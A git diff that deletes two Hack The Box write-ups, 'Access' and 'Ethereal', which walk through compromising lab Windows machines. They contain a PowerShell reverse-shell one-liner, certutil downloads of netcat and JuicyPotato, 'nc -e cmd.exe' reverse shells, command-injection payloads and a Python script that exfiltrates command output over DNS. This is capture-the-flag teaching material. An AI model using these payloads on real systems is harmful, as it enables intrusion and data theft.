-27 engineer access4u@security 1 08/23/18 21:13:36 26
-28 backup_admin admin 1 08/23/18 21:14:02 26
-3 Rows retrieved
-```
-
-Found the following credentials:
- - `engineer` / `access4u@security`
-
-### Finding credentials in PST file
-
-Unzipping the encrypted zip file with password `access4u@security`:
-
-```
-root@darkisland:~/hackthebox/Machines/Access# 7z e access.zip
-
-7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
-p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-2600K CPU @ 3.40GHz (206A7),ASM,AES-NI)
-
-Scanning the drive for archives:
-1 file, 10870 bytes (11 KiB)
-
-Extracting archive: access.zip
---
-Path = access.zip
-Type = zip
-Physical Size = 10870
-
-
-Enter password (will not be echoed):
-Everything is Ok
-
-Size: 271360
-Compressed: 10870
-```
-
-We can read the PST file content with `readpst` and it'll create an mbox file:
-
-```
-root@darkisland:~/hackthebox/Machines/Access# readpst access.pst
-Opening PST file and indexes...
-Processing Folder "Deleted Items"
- "Access Control" - 2 items done, 0 items skipped.
-
-root@darkisland:~/hackthebox/Machines/Access# ls -l
-total 5820
--rw-r--r-- 1 root root 3112 Sep 30 18:36 'Access Control.mbox'
-```
-
-Looking in the mbox file we find an email with another set of credentials:
-
-```
-root@darkisland:~/hackthebox/Machines/Access# cat 'Access Control.mbox'
-From "john@megacorp.com" Thu Aug 23 19:44:07 2018
-Status: RO
-From: john@megacorp.com
-Subject: MegaCorp Access Control System "security" account
-To: 'security@accesscontrolsystems.com'
-[...]
-Hi there,
-
-The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.
-
-Regards,
-
-John
-```
-
-Found the following credentials:
- - `security` / `4Cc3ssC0ntr0ller`
-
-### Getting a shell
-
-Telnet is enabled on this box so we can use that last set of credentials and log in to the server:
-
-```
-root@darkisland:~/hackthebox/Machines/Access# telnet 10.10.10.98
-Trying 10.10.10.98...
-Connected to 10.10.10.98.
-Escape character is '^]'.
-Welcome to Microsoft Telnet Service
-
-login: security
-password: 4Cc3ssC0ntr0ller
-
-*===============================================================
-Microsoft Telnet Server.
-*===============================================================
-C:\Users\security>type desktop\user.txt
-ff1f3b
-```
-
-### Priv esc with Windows Credentials Manager
-
-Our `security` user doesn't have any useful privileges or group memberships. That telnet shell was pretty slow and buggy. I tried running PowerShell but I wasn't getting any output from the shell so instead I just spawned a reverse shell with Nishang:
-
-```
-C:\Users\security>powershell -command "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.23',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
-```
-
-```
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.98] 49159
-
-PS C:\Users\security> whoami
-access\security
-PS C:\Users\security>
-```
-
-```
-PS C:\Users\security> vaultcmd /list
-Currently loaded vaults:
- Vault: security's Vault
- Vault Guid:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}
- Location: C:\Users\security\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
- Status: Unlocked
- Visibility: Not hidden
-
- Vault: Windows Vault
- Vault Guid:{77BC582B-F0A6-4E15-4E80-61736B6F3B29}
- Location: C:\Users\security\AppData\Local\Microsoft\Vault
- Status: Unlocked
- Visibility: Not hidden
-```
-
-Administrator credentials saved in security user's vault:
-
-```
-PS C:\Users\security> vaultcmd /listcreds:"Windows Vault"
-Credentials in vault: Windows Vault
-
-Credential schema: Windows Domain Password Credential
-Resource: Domain:interactive=ACCESS\Administrator
-Identity: ACCESS\Administrator
-Property (schema element id,value): (100,3)
-```
-
-I tried using [https://github.com/peewpw/Invoke-WCMDump](Invoke-WCMDUmp) to retrieve the plaintext credentials but that tool only works for "Generic" type credentials.
-
-So instead I just transferred netcat to the machine and popped a shell this way:
-
-```
-PS C:\Users\security> certutil -urlcache -f http://10.10.14.23/nc.exe nc.exe
-**** Online ****
-CertUtil: -URLCache command completed successfully.
-```
-
-```
-echo c:\users\security\nc.exe -e cmd.exe 10.10.14.23 4444 > shell.bat
-runas /user:administrator /savecred c:\users\security\shell.bat
-```
-
-```
-root@darkisland:~/hackthebox/Machines/Access# nc -lvnp 4444
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.98] 49159
-Microsoft Windows [Version 6.1.7600]
-Copyright (c) 2009 Microsoft Corporation. All rights reserved.
-
-C:\Windows\system32>whoami
-whoami
-access\administrator
-
-C:\Windows\system32>type c:\users\administrator\desktop\root.txt
-type c:\users\administrator\desktop\root.txt
-6e1586
-```
diff --git a/_posts/2019-03-09-htb-writeup-ethereal.md b/_posts/2019-03-09-htb-writeup-ethereal.md
deleted file mode 100644
index 632b57ad1f..0000000000
--- a/_posts/2019-03-09-htb-writeup-ethereal.md
+++ /dev/null
@@ -1,681 +0,0 @@
----
-layout: single
-title: Ethereal - Hack The Box
-excerpt: This is the writeup for Ethereal, a very difficult Windows machine that I solved using the unintented rotten potato method before the box was patched by the HTB staff.
-date: 2019-03-09
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-ethereal/ethereal_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - ms-dos
- - dns exfiltration
- - command injection
- - rotten potato
- - unintended
- - efs
----
-
-
-
-Ethereal was a really difficult box from [MinatoTW](https://www.secjuice.com/author/minatotw/) and [egre55](https://www.hackthebox.eu/home/users/profile/1190) that I solved using an unintended priv esc method with Rotten Potato. The box was patched soon after the release to block that priv esc route. The box had some trivial command injection in the Test Connection page but since pretty much everything was blocked outbound I had to use DNS exfiltration to get the output from my commands. Once I got SYSTEM access via Potato, I found `user.txt` and `root.txt` were encrypted and couldn't be read as `NT AUTHORITY\SYSTEM`. At that point, I've spent a lot of hours on this box and I just wanted to get the flags so I changed both users's password and RDP'ed in and was able to see the flags.
-
-## Quick summary
-
-- Find the MS-DOS password manager file FDISK.zip on the FTP server
-- Run Dosbox, downloading missing dependies for pbox.exe, retrieve passwords after guessing the secret key
-- Find the command injection vulnerability on the "Ping" page
-- Use command injection vulnerability to scan open outbound ports, find TCP ports 73 and 136
-- Use certutil.exe to download nc.exe on the box, get a shell as user IIS
-- Use certutil.exe to download Juicy Potato on the box, get a shell as SYSTEM
-- Disable Windows Defender & Windows Firewall
-- Change passwords for users `jorge` and `rupal`, then RDP into the box to get both `user.txt` and `root.txt` flags
-
-## Detailed steps
-
-### Portscan
-
-```
-root@darkisland:~/hackthebox/Machines/Ethereal# nmap -sC -sV -oA ethereal 10.10.10.106
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-08 13:35 EDT
-Nmap scan report for ethereal.htb (10.10.10.106)
-Host is up (0.10s latency).
-Not shown: 997 filtered ports
-PORT STATE SERVICE VERSION
-21/tcp open ftp Microsoft ftpd
-| ftp-anon: Anonymous FTP login allowed (FTP code 230)
-|_Can't get directory listing: PASV IP 172.16.249.135 is not the same as 10.10.10.106
-| ftp-syst:
-|_ SYST: Windows_NT
-80/tcp open http Microsoft IIS httpd 10.0
-| http-methods:
-|_ Potentially risky methods: TRACE
-|_http-server-header: Microsoft-IIS/10.0
-|_http-title: Ethereal
-8080/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
-| http-auth:
-| HTTP/1.1 401 Unauthorized\x0D
-|_ Basic realm=ethereal.htb
-|_http-server-header: Microsoft-HTTPAPI/2.0
-|_http-title: 401 - Unauthorized: Access is denied due to invalid credentials.
-Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
-
-Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
-Nmap done: 1 IP address (1 host up) scanned in 38.65 seconds
-```
-
-### FTP enumeration
-
-Anonymous access is allowed on the FTP server.
-
-```
-root@darkisland:~/hackthebox/Machines/Ethereal# ftp 10.10.10.106
-Connected to 10.10.10.106.
-220 Microsoft FTP Service
-Name (10.10.10.106:root): anonymous
-331 Anonymous access allowed, send identity (e-mail name) as password.
-Password:
-230 User logged in.
-Remote system type is Windows_NT.
-ftp> ls
-200 PORT command successful.
-125 Data connection already open; Transfer starting.
-07-10-18 10:03PM binaries
-09-02-09 09:58AM 4122 CHIPSET.txt
-01-12-03 09:58AM 1173879 DISK1.zip
-01-22-11 09:58AM 182396 edb143en.exe
-01-18-11 12:05PM 98302 FDISK.zip
-07-10-18 09:59PM New folder
-07-10-18 10:38PM New folder (2)
-07-09-18 10:23PM subversion-1.10.0
-11-12-16 09:58AM 4126 teamcity-server-log4j.xml
-226 Transfer complete.
-```
-
-We'll download all the files to our Kali box so it's easier to look at files:
-
-```
-root@darkisland:~/hackthebox/Machines/Ethereal# wget -r --no-passive ftp://10.10.10.106
---2018-10-08 13:38:09-- ftp://10.10.10.106/
- => ‘10.10.10.106/.listing’
-Connecting to 10.10.10.106:21... connected.
-```
-
-### Password manager
-
-There's a lot of files on the FTP, the interesting one is `FDISK.zip`.
-
-First, we'll unzip it and determine it's a FAT filesystem.
-
-```
-root@darkisland:~/hackthebox/Machines/Ethereal/10.10.10.106# unzip FDISK.zip
-Archive: FDISK.zip
- inflating: FDISK
-
-root@darkisland:~/hackthebox/Machines/Ethereal/10.10.10.106# file FDISK
-FDISK: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "MSDOS5.0", root entries 224, sectors 2880
- (volumes <=32 MB), sectors/FAT 9, sectors/track 18, serial number 0x5843af55, unlabeled, FAT (12 bit), followed by FAT
-```
-
-After mounting it, we found there's an MS-DOS executable `pbox.exe` file in there.
-
-```
-root@darkisland:~/hackthebox/Machines/Ethereal/10.10.10.106# mount -t vfat -o loop FDISK /mnt
-root@darkisland:~/hackthebox/Machines/Ethereal/10.10.10.106# ls -l /mnt
-total 1
-drwxr-xr-x 2 root root 512 Jul 2 19:16 pbox
-root@darkisland:~/hackthebox/Machines/Ethereal/10.10.10.106# ls -l /mnt/pbox
-total 80
--rwxr-xr-x 1 root root 284 Jul 2 19:05 pbox.dat
--rwxr-xr-x 1 root root 81384 Aug 25 2010 pbox.exe
-
-root@darkisland:~/hackthebox/Machines/Ethereal/10.10.10.106# file /mnt/pbox/pbox.exe
-/mnt/pbox/pbox.exe: MS-DOS executable, COFF for MS-DOS, DJGPP go32 DOS extender, UPX compressed
-```
-
-To run this, we'll use `dosbox` and mount the Kali directory inside MS-DOS.
-
-```
-root@darkisland:~/hackthebox/Machines/Ethereal/10.10.10.106# cd /mnt/pbox/
-root@darkisland:/mnt/pbox# dosbox
-DOSBox version 0.74-2
-Copyright 2002-2018 DOSBox Team, published under GNU GPL.
----
-CONFIG:Loading primary settings from config file /root/.dosbox/dosbox-0.74-2.conf
-MIXER:Got different values from SDL: freq 44100, blocksize 512
-ALSA:Can't subscribe to MIDI port (65:0) nor (17:0)
-MIDI:Opened device:none
-```
-
-
-
-We are missing a dependency to be able to run pbox.exe
-
-After a bit of googling, I found the missing dependency:
-
-
-
-```
-root@darkisland:/mnt/pbox# wget http://teadrinker.net/tdold/mr/cwsdpmi.zip
---2018-10-08 13:47:19-- http://teadrinker.net/tdold/mr/cwsdpmi.zip
-Resolving teadrinker.net (teadrinker.net)... 46.30.213.33, 2a02:2350:5:100:c840:0:24b2:20fb
-Connecting to teadrinker.net (teadrinker.net)|46.30.213.33|:80... connected.
-HTTP request sent, awaiting response... 200 OK
-Length: 16799 (16K) [application/zip]
-Saving to: ‘cwsdpmi.zip’
-
-cwsdpmi.zip 100%[=====================================>] 16.41K --.-KB/s in 0.1s
-
-2018-10-08 13:47:20 (125 KB/s) - ‘cwsdpmi.zip’ saved [16799/16799]
-
-root@darkisland:/mnt/pbox# unzip cwsdpmi.zip
-Archive: cwsdpmi.zip
- inflating: CWSDPMI.EXE
-```
-
-Now we can run the password manager, but it asks for a password.
-
-
-
-The password is easily guessed: `password`, we now have access to all the passwords.
-
-
-
-Found multiple credentials; the only one that is useful is: `!C414m17y57r1k3s4g41n!`
-
-### Web enumeration
-
-There's a ton of useless crap and decoys on this box, notably:
-- Fake desktop with a troll face & flag
-- Fake members login page
-
-There's an administration page at `http://ethereal.htb:8080/`
-
-
-
-We can log in with:
-- username: `alan`
-- password: `!C414m17y57r1k3s4g41n!`
-
-Note: We can guess the username since the name Alan is mentionned in the notes and in some of the password manager entries
-
-
-
-### Command injection using ping page
-
-We can run commands by adding `&& ` in the command field.
-
-We can validate we got RCE by pinging ourselves with `127.0.0.1 && ping 10.10.14.23`.
-
-The first IP is implicitely pinged by the script followed by our injected command after &&:
-
-```
-root@darkisland:~/hackthebox/Machines/Ethereal# tcpdump -nni tun0 icmp
-tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
-listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
-14:30:51.029999 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 39, length 40
-14:30:51.030129 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 39, length 40
-14:30:52.046783 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 40, length 40
-14:30:52.046814 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 40, length 40
-```
-
-We can't run any other commands like `certutil.exe` or `powershell.exe`, AppLocker is probably enabled on the box.
-
-However we can exfil some data by using `nslookup`.
-
-For example, using the payload `127.0.0.1 && nslookup inject 10.10.14.23`, we get can get the box to do a query back to us:
-
-```
-root@darkisland:~# tcpdump -nni tun0 -vv port 53
-tcpdump: listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
-20:20:16.625986 IP (tos 0x0, ttl 127, id 8724, offset 0, flags [none], proto UDP (17), length 70)
- 10.10.10.106.52125 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42)
-20:20:18.652075 IP (tos 0x0, ttl 127, id 8726, offset 0, flags [none], proto UDP (17), length 52)
- 10.10.10.106.52126 > 10.10.14.23.53: [udp sum ok] 2+ A? inject. (24)
-20:20:20.922359 IP (tos 0x0, ttl 127, id 8727, offset 0, flags [none], proto UDP (17), length 52)
- 10.10.10.106.52127 > 10.10.14.23.53: [udp sum ok] 3+ AAAA? inject. (24)
-```
-
-What we want is to exfil the output of commands, by using the following payload we can start to output some stuff:
-
-`FOR /F "tokens=1" %g IN 'whoami' do (nslookup %g 10.10.14.23)`
-
-Output:
-
-```
-20:30:23.082437 IP (tos 0x0, ttl 127, id 8942, offset 0, flags [none], proto UDP (17), length 58)
- 10.10.10.106.63713 > 10.10.14.23.53: [udp sum ok] 2+ A? etherealalan. (30)
-```
-
-Now, it's not perfect, we can't exfil special characters or anything else that is not a valid character in a DNS query. So in the query above, we can guess that the real output should be `ethereal\alan` instead of `etherealalan`.
-
-So if we're listing directories, we have to use the /b flag so it only returns the name of the directory/file otherwise we'll need to play with the token parameter to indicate which item to read from the output.
-
-Another example listing directories: `FOR /F "tokens=1" %g IN 'dir /b c:\users' do (nslookup %g 10.10.14.23)`
-
-```
-20:35:04.531929 IP (tos 0x0, ttl 127, id 9016, offset 0, flags [none], proto UDP (17), length 70)
- 10.10.10.106.53805 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42)
-20:35:06.823075 IP (tos 0x0, ttl 127, id 9017, offset 0, flags [none], proto UDP (17), length 70)
- 10.10.10.106.53806 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42)
-20:35:08.851451 IP (tos 0x0, ttl 127, id 9018, offset 0, flags [none], proto UDP (17), length 70)
- 10.10.10.106.53807 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42)
-20:35:10.839111 IP (tos 0x0, ttl 127, id 9019, offset 0, flags [none], proto UDP (17), length 59)
- 10.10.10.106.53808 > 10.10.14.23.53: [udp sum ok] 2+ A? Administrator. (31)
-20:35:12.854740 IP (tos 0x0, ttl 127, id 9020, offset 0, flags [none], proto UDP (17), length 59)
- 10.10.10.106.53809 > 10.10.14.23.53: [udp sum ok] 3+ AAAA? Administrator. (31)
-20:35:14.895892 IP (tos 0x0, ttl 127, id 9021, offset 0, flags [none], proto UDP (17), length 70)
- 10.10.10.106.53810 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42)
-20:35:16.886216 IP (tos 0x0, ttl 127, id 9022, offset 0, flags [none], proto UDP (17), length 50)
- 10.10.10.106.53811 > 10.10.14.23.53: [udp sum ok] 2+ A? alan. (22)
-20:35:19.474240 IP (tos 0x0, ttl 127, id 9023, offset 0, flags [none], proto UDP (17), length 50)
- 10.10.10.106.53812 > 10.10.14.23.53: [udp sum ok] 3+ AAAA? alan. (22)
-20:35:21.312568 IP (tos 0x0, ttl 127, id 9025, offset 0, flags [none], proto UDP (17), length 70)
- 10.10.10.106.56757 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42)
-20:35:23.309541 IP (tos 0x0, ttl 127, id 9028, offset 0, flags [none], proto UDP (17), length 51)
- 10.10.10.106.56758 > 10.10.14.23.53: [udp sum ok] 2+ A? jorge. (23)
-20:35:25.299775 IP (tos 0x0, ttl 127, id 9029, offset 0, flags [none], proto UDP (17), length 51)
- 10.10.10.106.56759 > 10.10.14.23.53: [udp sum ok] 3+ AAAA? jorge. (23)
-20:35:27.338241 IP (tos 0x0, ttl 127, id 9031, offset 0, flags [none], proto UDP (17), length 70)
- 10.10.10.106.56760 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42)
-20:35:29.355372 IP (tos 0x0, ttl 127, id 9032, offset 0, flags [none], proto UDP (17), length 52)
- 10.10.10.106.56761 > 10.10.14.23.53: [udp sum ok] 2+ A? Public. (24)
-20:35:31.523795 IP (tos 0x0, ttl 127, id 9034, offset 0, flags [none], proto UDP (17), length 52)
- 10.10.10.106.56762 > 10.10.14.23.53: [udp sum ok] 3+ AAAA? Public. (24)
-20:35:33.646114 IP (tos 0x0, ttl 127, id 9035, offset 0, flags [none], proto UDP (17), length 70)
- 10.10.10.106.56763 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42)
-20:35:35.669198 IP (tos 0x0, ttl 127, id 9038, offset 0, flags [none], proto UDP (17), length 51)
- 10.10.10.106.58924 > 10.10.14.23.53: [udp sum ok] 2+ A? rupal. (23)
-20:35:37.681147 IP (tos 0x0, ttl 127, id 9040, offset 0, flags [none], proto UDP (17), length 51)
- 10.10.10.106.58925 > 10.10.14.23.53: [udp sum ok] 3+ AAAA? rupal. (23)
-```
-
-We just listed `c:\users` and found the following directories:
-
-- c:\users\Administrator
-- c:\users\alan
-- c:\users\jorge
-- c:\users\rupal
-
-Doing things manually takes a long time so I started working on a python script to automate the process. [Overcast](https://www.hackthebox.eu/home/users/profile/9682) [[Blog](https://www.justinoblak.com/)] was also working on the box and was one step ahead of me. He shared with me a script he had already created.
-
-```python
-#!/usr/bin/python3
-
-from socket import *
-from requests_futures.sessions import FuturesSession
-import time
-import select
-
-
-s = socket(AF_INET, SOCK_DGRAM)
-s.settimeout(10)
-s.bind(('10.10.14.23', 53))
-
-def recv():
- print("[+] Receiving data:")
- try:
- while True:
- data = s.recv(1024)
- if data[1] == 2: # A record
- print(data[13:-5])
- except Exception as e:
- print(e)
- print("[!] Done")
- return
-
-def send(cmd, col):
- session = FuturesSession()
- session.post("http://ethereal.htb/p1ng/", data=
- {
- "__VIEWSTATE": "/wEPDwULLTE0OTYxODU3NjhkZD0G/ny1VOoO1IFda8cKvyAZexSk+Y22QbXBRP0gxbre",
- "__VIEWSTATEGENERATOR": "A7095145",
- "__EVENTVALIDATION": "/wEdAAOZvFNfMAAnpqKRCMR2SHn/4CgZUgk3s462EToPmqUw3OKvLNdlnDJuHW3p+9jPAN/siIFmy9ZoaWu7BT0ak0x7Uttp88efMu6vUQ1geHQSWQ==",
- "search": f"127.0.0.1 && FOR /F \"tokens={col}\" %g IN ('{cmd}') do (nslookup %g 10.10.14.23)",
- "ctl02": ""
- },
- proxies={"http": "127.0.0.1:8080"})
-
-def shell():
- while 1:
- cmd = input("$> ")
- if cmd == "exit":
- s.close()
- exit()
- else:
- col = input("(col#)> ")
- if col == '':
- col = 1
- else:
- col = int(col)
- send(cmd, col)
- recv()
-
-if __name__ == '__main__':
- shell()
-```
-
-We still need to mess with the token parameter when we have output with spaces in it, but it make things but more manageable.
-
-**whoami**
-```
-root@darkisland:~/hackthebox/Machines/Ethereal# ./exfil_alan.py
-$> whoami
-(col#)>
-[+] Receiving data:
-b'etherealalan'
-```
-
-**dir c:\users\alan**
-```
-$> dir /b c:\users\alan
-(col#)>
-[+] Receiving data:
-b'Contacts'
-b'Desktop'
-b'Documents'
-b'Downloads'
-b'Favorites'
-b'Links'
-b'Music'
-b'Pictures'
-b'Saved'
-b'Searches'
-b'Videos'
-```
-
-**dir c:\users\alan\desktop**
-```
-$> dir /b c:\users\alan\desktop
-(col#)>
-[+] Receiving data:
-b'note-draft\x03txt'
-```
-
-Too bad, there's no flag... let's keeping looking.
-
-**dir c:\inetpub\wwwroot**
-```
-$> dir /b c:\inetpub\wwwroot
-(col#)>
-[+] Receiving data:
-b'corp'
-b'default\x04aspx'
-b'p1ng'
-timed out
-```
-
-Interesting, there's a directory `p1ng`, let's check check it out:
-
-
-
-Wow, so we didn't even need the credentials from the password manager have we known this hidden path.
-
-I got really stuck at this point and spent the next several hours trying to find ways to get a proper shell, or find hidden files that would allow me to get unstuck. I didn't get far until at some point after I had switched the path invoked by the script to use the unauthenticated page on port 80, I realized that the `whoami` output I was now getting was different.
-
-```
-root@darkisland:~/hackthebox/Machines/Ethereal# ./exfil_iis.py
-$> whoami
-(col#)>
-[+] Receiving data:
-b'iis'
-```
-
-Ok, so the webserver on port 80 is not running with the same user as port 8080.
-
-After wasting a few more hours, I realized that AppLocker isn't enabled for user `IIS`. I suspected that the outbound ports on the box would be firewalled so I used a boolean blind approach to test various commands. The following payload will ping my machine only if the preceding command has been successfully executed: `127.0.0.1 && whoami && ping 10.10.14.23`.
-
-To test this, I first tried a command that I know will work: `127.0.0.1 && whoami && ping 10.10.14.23`
-
-```
-root@darkisland:~# tcpdump -nni tun0 icmp
-tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
-listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
-21:02:19.817657 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 63, length 40
-21:02:19.817712 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 63, length 40
-21:02:20.777578 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 64, length 40
-21:02:20.777608 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 64, length 40
-21:02:21.768882 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 65, length 40
-21:02:21.768933 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 65, length 40
-21:02:22.919376 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 66, length 40
-21:02:22.919408 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 66, length 40
-```
-
-We are getting pinged so it means the command was executed correctly.
-
-Next, our target is `certutil.exe` so we can use it to download files.
-
-First, I tested locally on my Windows machine if running certutil.exe without parameters returns a successful error code. I wanted to do this because I suspected there was an outbound firewall blocking some most ports.
-
-
-
-Then I verified that certutil.exe is not blocked now that we are running as IIS: `127.0.0.1 && certutil.exe && ping 10.10.14.23`.
-
-```
-21:06:30.214884 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 71, length 40
-21:06:30.214912 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 71, length 40
-21:06:31.286151 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 72, length 40
-21:06:31.286182 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 72, length 40
-```
-
-We're getting pinged so the certutil.exe command didn't error out.
-
-While previously looking at the files and programs on the box, I found `c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe"` installed (and it wasn't AppLocked for `alan` user either), so I used this to establish outbound sockets.
-
-I modified the existing script to scan for the first 200 ports:
-
-```python
- for i in range(1, 200):
- time.sleep(2.5)
- cmd = "\"c:\\program files (x86)\\OpenSSL-v1.1.0\\bin\\openssl.exe\" s_client -host 10.10.14.23 -port {}".format(str(i))
- print(cmd)
- send(cmd, 1)
-```
-
-I used Wireshark to look for incoming SYN packets and started the scan.
-
-```
-root@darkisland:~/hackthebox/Machines/Ethereal# ./scanport.py
-[...]
-"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 72
-"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 73
-"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 74
-"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 75
-[...]
-"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 135
-"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 136
-"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 137
-"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 138
-```
-
-From the pcap, I identified inbound connections on port 73 and 136.
-
-
-
-Now, we just need to get netcat uploaded to the server and try to get a proper shell.
-
-First, let's start an HTTP listener on port 73 to host nc.exe, then issue `certutil.exe -urlcache -split -f http://10.10.14.23:73/nc.exe c:\users\public\desktop\shortcuts\nc.exe`
-
-And finally, spawn a netcat connection with `c:\users\public\desktop\shortcuts\nc.exe -e cmd.exe 10.10.14.23 136`
-
-We finally got a shell!
-
-
-
-### Privesc
-
-Our IIS user has `SeImpersonatePrivilege` so we can probably do Rotten Potato.
-
-```
-c:\windows\system32\inetsrv>whoami
-iis apppool\defaultapppool
-
-c:\windows\system32\inetsrv>whoami /priv
-
-PRIVILEGES INFORMATION
-----------------------
-
-Privilege Name Description State
-============================= ========================================= ========
-SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
-SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
-SeAuditPrivilege Generate security audits Disabled
-SeChangeNotifyPrivilege Bypass traverse checking Enabled
-SeImpersonatePrivilege Impersonate a client after authentication Enabled
-SeCreateGlobalPrivilege Create global objects Enabled
-SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
-```
-
-I used Juicy Potato from Decoder.
-
-```
-c:\windows\system32\inetsrv>cd \users\public
-cd \users\public
-
-c:\Users\Public>cmd /c certutil.exe -urlcache -split -f http://10.10.14.23:73/JuicyPotato.exe JuicyPotato.exe
-
-10/10/2018 02:40 AM .
-10/10/2018 02:40 AM ..
-06/25/2018 03:51 PM Documents
-07/03/2018 10:25 PM Downloads
-10/10/2018 02:40 AM 347,648 JuicyPotato.exe
-07/16/2016 02:23 PM Music
-07/16/2016 02:23 PM Pictures
-07/16/2016 02:23 PM Videos
-```
-
-Execute it, spawning yet another netcat:
-
-```
-c:\Users\Public>JuicyPotato -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\shortcuts\nc.exe -e cmd.exe 10.10.14.23 73" -t *
-JuicyPotato -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\shortcuts\nc.exe -e cmd.exe 10.10.14.23 73" -t *
-Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
-......
-[+] authresult 0
-{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
-
-[+] CreateProcessWithTokenW OK
-
-c:\Users\Public>
-```
-
-We got a shell as `nt authority\system`!
-
-```
-root@darkisland:~/hackthebox/Machines/Ethereal# nc -lvnp 73
-listening on [any] 73 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.106] 49877
-Microsoft Windows [Version 10.0.14393]
-(c) 2016 Microsoft Corporation. All rights reserved.
-
-C:\Windows\system32>whoami
-whoami
-nt authority\system
-
-C:\Windows\system32>
-```
-
-Strange... we don't have read access to the flags even though we are SYSTEM:
-
-```
-C:\Windows\system32>cd \users\jorge\desktop
-cd \users\jorge\desktop
-
-C:\Users\jorge\Desktop>dir
-dir
- Volume in drive C has no label.
- Volume Serial Number is FAD9-1FD5
-
- Directory of C:\Users\jorge\Desktop
-
-07/08/2018 11:20 PM .
-07/08/2018 11:20 PM ..
-07/04/2018 10:18 PM 32 user.txt
- 1 File(s) 32 bytes
- 2 Dir(s) 15,231,598,592 bytes free
-
-C:\Users\jorge\Desktop>type user.txt
-type user.txt
-Access is denied.
-```
-
-Looking at the flags, we see that the file is encrypted:
-
-```
-PS C:\users\jorge\desktop> get-itemproperty -path user.txt | Format-list -Property *
-get-itemproperty -path user.txt | Format-list -Property *
-
-
-PSPath : Microsoft.PowerShell.Core\FileSystem::C:\users\jorge\deskto
- p\user.txt
-PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\users\jorge\deskto
- p
-PSChildName : user.txt
